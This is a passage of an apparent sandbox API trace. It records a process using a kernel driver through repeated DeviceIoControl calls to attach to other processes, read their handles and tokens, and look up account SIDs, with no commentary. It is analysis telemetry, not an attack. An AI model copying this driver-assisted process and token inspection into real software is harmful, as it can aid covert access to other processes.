(ApcState=0xfffff88004f095d0) [0105.423] PsReleaseProcessExitSynchronization () returned 0x2 [0105.423] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0105.423] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.423] ObfDereferenceObject (Object=0xfffffa80020147d0) returned 0x1 [0105.423] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.423] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.423] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0105.423] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.423] PsAcquireProcessExitSynchronization () returned 0x0 [0105.423] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff88004f095d0) [0105.423] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800201c200, HandleInformation=0x0) returned 0x0 [0105.423] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.423] PsReleaseProcessExitSynchronization () returned 0x2 [0105.423] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0105.423] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.423] ObfDereferenceObject (Object=0xfffffa800201c200) returned 0x1 [0105.423] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.423] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.423] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.423] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.423] PsAcquireProcessExitSynchronization () returned 0x0 [0105.423] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff88004f095d0) [0105.423] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.423] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.423] PsReleaseProcessExitSynchronization () returned 0x2 [0105.423] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0105.423] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.423] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.423] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.424] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.424] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8d0) returned 0xc0 [0105.424] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.424] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020273e0, HandleInformation=0x0) returned 0x0 [0105.424] ObOpenObjectByPointer (in: Object=0xfffffa80020273e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.424] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x12 [0105.424] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800217c280 | out: TokenHandle=0xfffffa800217c280*=0xc8) returned 0x0 [0105.424] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.424] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.424] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.424] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.425] CloseHandle (hObject=0xc8) returned 1 [0105.425] CloseHandle (hObject=0xc0) returned 1 [0105.425] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.425] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.426] PsAcquireProcessExitSynchronization () returned 0x0 [0105.426] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff88004f095d0) [0105.426] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002027d10, HandleInformation=0x0) returned 0x0 [0105.426] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.426] PsReleaseProcessExitSynchronization () returned 0x2 [0105.426] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0105.426] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.426] ObfDereferenceObject (Object=0xfffffa8002027d10) returned 0x1 [0105.426] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.426] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.426] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0105.426] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.426] PsAcquireProcessExitSynchronization () returned 0x0 [0105.426] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff88004f095d0) [0105.426] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002029130, HandleInformation=0x0) returned 0x0 [0105.426] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.426] PsReleaseProcessExitSynchronization () returned 0x2 [0105.426] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0105.426] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.426] ObfDereferenceObject (Object=0xfffffa8002029130) returned 0x1 [0105.426] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.426] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.426] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.426] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.426] PsAcquireProcessExitSynchronization () returned 0x0 [0105.426] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff88004f095d0) [0105.426] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.427] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.427] PsReleaseProcessExitSynchronization () returned 0x2 [0105.427] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0105.427] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.427] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.427] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.427] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.427] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8e0) returned 0xc0 [0105.427] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.427] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002037b30, HandleInformation=0x0) returned 0x0 [0105.427] ObOpenObjectByPointer (in: Object=0xfffffa8002037b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.427] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x12 [0105.427] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800217c280 | out: TokenHandle=0xfffffa800217c280*=0xc8) returned 0x0 [0105.427] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.427] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.427] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.427] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.428] CloseHandle (hObject=0xc8) returned 1 [0105.428] CloseHandle (hObject=0xc0) returned 1 [0105.428] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.429] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.429] PsAcquireProcessExitSynchronization () returned 0x0 [0105.429] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff88004f095d0) [0105.429] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002035970, HandleInformation=0x0) returned 0x0 [0105.429] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.429] PsReleaseProcessExitSynchronization () returned 0x2 [0105.429] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0105.429] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.429] ObfDereferenceObject (Object=0xfffffa8002035970) returned 0x1 [0105.429] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.429] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.429] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0105.429] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.429] PsAcquireProcessExitSynchronization () returned 0x0 [0105.429] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff88004f095d0) [0105.429] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020a0c70, HandleInformation=0x0) returned 0x0 [0105.429] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.429] PsReleaseProcessExitSynchronization () returned 0x2 [0105.429] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0105.429] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.429] ObfDereferenceObject (Object=0xfffffa80020a0c70) returned 0x1 [0105.429] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.429] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.429] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.430] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.430] PsAcquireProcessExitSynchronization () returned 0x0 [0105.430] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff88004f095d0) [0105.430] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.430] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.430] PsReleaseProcessExitSynchronization () returned 0x2 [0105.430] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0105.430] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.430] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.430] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.430] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.430] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8f0) returned 0xc0 [0105.430] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.430] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001fabb30, HandleInformation=0x0) returned 0x0 [0105.430] ObOpenObjectByPointer (in: Object=0xfffffa8001fabb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.430] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x12 [0105.430] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800217c280 | out: TokenHandle=0xfffffa800217c280*=0xc8) returned 0x0 [0105.430] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.430] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.430] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.430] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.431] CloseHandle (hObject=0xc8) returned 1 [0105.432] CloseHandle (hObject=0xc0) returned 1 [0105.432] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.432] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.432] PsAcquireProcessExitSynchronization () returned 0x0 [0105.432] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff88004f095d0) [0105.432] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020a3620, HandleInformation=0x0) returned 0x0 [0105.432] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.432] PsReleaseProcessExitSynchronization () returned 0x2 [0105.432] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0105.432] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.432] ObfDereferenceObject (Object=0xfffffa80020a3620) returned 0x1 [0105.432] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.432] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.432] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0105.432] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.432] PsAcquireProcessExitSynchronization () returned 0x0 [0105.432] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff88004f095d0) [0105.432] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019ac6b0, HandleInformation=0x0) returned 0x0 [0105.432] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.432] PsReleaseProcessExitSynchronization () returned 0x2 [0105.432] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0105.432] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.432] ObfDereferenceObject (Object=0xfffffa80019ac6b0) returned 0x1 [0105.432] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.432] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.432] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.433] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.433] PsAcquireProcessExitSynchronization () returned 0x0 [0105.433] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff88004f095d0) [0105.433] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.433] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.433] PsReleaseProcessExitSynchronization () returned 0x2 [0105.433] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0105.433] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.433] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.433] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.433] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.433] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x900) returned 0xc0 [0105.433] 